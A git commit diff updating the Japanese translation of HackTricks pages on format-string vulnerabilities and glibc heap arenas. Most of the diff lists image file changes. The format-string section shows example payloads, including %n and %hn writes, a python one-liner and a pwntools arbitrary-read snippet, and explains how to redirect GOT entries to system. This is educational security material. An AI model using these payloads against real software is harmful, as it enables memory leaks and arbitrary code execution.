Translated ['binary-exploitation/format-strings/README.md', 'binary-expl

This commit is contained in:
Translator 2024-11-12 12:25:34 +00:00
parent 44077cae6b
commit bb9bb99c5f
98 changed files with 760 additions and 734 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 461 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 551 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

@ -1,8 +1,8 @@
# フォーマット文字列 # フォーマット文字列
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -10,25 +10,24 @@ GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 基本情報 ## 基本情報
Cの**`printf`**は、いくつかの文字列を**印刷**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。**次のパラメータ**は、**生のテキストからフォーマッタを**置き換えるための**値**です。 Cの**`printf`**は、**文字列を出力する**ために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。**次のパラメータ**は、**生のテキストからフォーマッタを置き換えるための**値**です。
他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。 他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。
脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**できるようになります。この方法で**任意のコードを実行**することが可能です。 脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きする**ための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能です。
#### フォーマッタ: #### フォーマッタ:
```bash ```bash
@ -83,9 +82,9 @@ printf("%x %x %x %x")
```c ```c
printf("%4$x") printf("%4$x")
``` ```
そして直接4番目を読みます。 そして直接4番目を読み取ります。
攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に、**彼の入力が`printf`が呼び出されるときにスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。 攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に**、`printf`が呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができることを意味します。
{% hint style="danger" %} {% hint style="danger" %}
この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。 この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。
@ -93,7 +92,7 @@ printf("%4$x")
## **任意の読み取り** ## **任意の読み取り**
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目の位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目の位置**にある**アドレス**を取得し、それを**文字列として印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
```python ```python
from pwn import * from pwn import *
@ -112,7 +111,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
### オフセットを見つける ### オフセットを見つける
入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、次に**`%1$x`**を続けて、`A`を取得するまで値を**増やします** 入力のオフセットを見つけるために、4バイトまたは8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`の値を取得するまで**増加**させます
<details> <details>
@ -152,18 +151,18 @@ p.close()
任意の読み取りは以下に役立ちます: 任意の読み取りは以下に役立ちます:
* **メモリから** **バイナリ**を**ダンプ**する * **メモリから** **バイナリ**を**ダンプ**する
* **機密情報が保存されているメモリの特定の部分にアクセスする**(カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようカスタムパスワードなど) * **機密** **情報**が保存されているメモリの特定の部分に**アクセス**する(例えば、この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のように、カナリア、暗号化キー、またはカスタムパスワードなど)
## **任意の書き込み** ## **任意の書き込み**
フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにある**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。 フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができます。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`** の数を**`num`位置が指すアドレスに書き込む**ことが可能です。 幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`** の数を**`num`位置で指し示されるアドレス**に書き込むことが可能です。
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われます。1回目はアドレスの上位2バイト、2回目は下位2バイトです。 しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。** したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
@ -174,17 +173,17 @@ AAAA.%500\$08x —> Param at offset 500
{% endcontent-ref %} {% endcontent-ref %}
私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\ 私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。 前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
* **HOB**はアドレスの上位2バイトに呼び出されます * **HOB**はアドレスの上位2バイトに呼び出されます
* **LOB**はアドレスの下位2バイトに呼び出されます * **LOB**はアドレスの下位2バイトに呼び出されます
次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**。次にもう一方を書きます。 次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。
HOB < LOB\ もしHOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOB\ もしHOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -197,7 +196,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools テンプレート ### Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は以下にあります: この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は以下にあります:
{% content-ref url="format-strings-template.md" %} {% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md) [format-strings-template.md](format-strings-template.md)
@ -224,7 +223,7 @@ p.interactive()
``` ```
## フォーマット文字列からBOFへ ## フォーマット文字列からBOFへ
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能で、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。 フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
## その他の例と参考文献 ## その他の例と参考文献
@ -238,21 +237,19 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。 * 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`strlen`を指すGOTテーブル内の`system`へのアドレスを書き込む。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>HackTricksをサポートする</summary> HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
{% endhint %} {% endhint %}

View file

@ -10,7 +10,7 @@
### 基本的なチャンクの割り当て ### 基本的なチャンクの割り当て
ヒープにデータを格納するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、可能な限り最小限のメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。 ヒープに格納するデータが要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を把握します。
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです: スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです:
@ -27,9 +27,9 @@
**マルチスレッド**アプリケーションでは、ヒープマネージャーはクラッシュを引き起こす可能性のある**レースコンディション**を防ぐ必要があります。最初は、**グローバルミューテックス**を使用して、同時に1つのスレッドだけがヒープにアクセスできるようにしていましたが、これによりミューテックスによるボトルネックが発生し、**パフォーマンスの問題**が生じました。 **マルチスレッド**アプリケーションでは、ヒープマネージャーはクラッシュを引き起こす可能性のある**レースコンディション**を防ぐ必要があります。最初は、**グローバルミューテックス**を使用して、同時に1つのスレッドだけがヒープにアクセスできるようにしていましたが、これによりミューテックスによるボトルネックが発生し、**パフォーマンスの問題**が生じました。
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を行できます。 これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を行うことができます。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。 デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。 メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
@ -41,12 +41,12 @@
* 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。 * 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
* セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。 * セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
2. **`mmap`によるメモリ予約** 2. **`mmap`によるメモリ予約**
* ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。 * ヒープマネージャーがサブヒープを作成する、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
* デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。 * デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。
3. **`mprotect`による段階的拡張** 3. **`mprotect`による段階的拡張**
* 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。 * 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
* サブヒープを「成長」させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。 * サブヒープを「成長」させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
* サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。 * サブヒープ全体が使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。
### heap\_info <a href="#heap_info" id="heap_info"></a> ### heap\_info <a href="#heap_info" id="heap_info"></a>
@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがってlibcメモリ空間に位置しています。\ **メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがってlibcメモリ空間に位置しています。\
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**。 スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**。
この構造体から注目すべき興味深い点がいくつかあります以下のCコードを参照 この構造体から注目すべきいくつかの興味深い点があります以下のCコードを参照
* `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。 * `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。
* フラグ: * フラグ:
@ -87,9 +87,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
``` ```
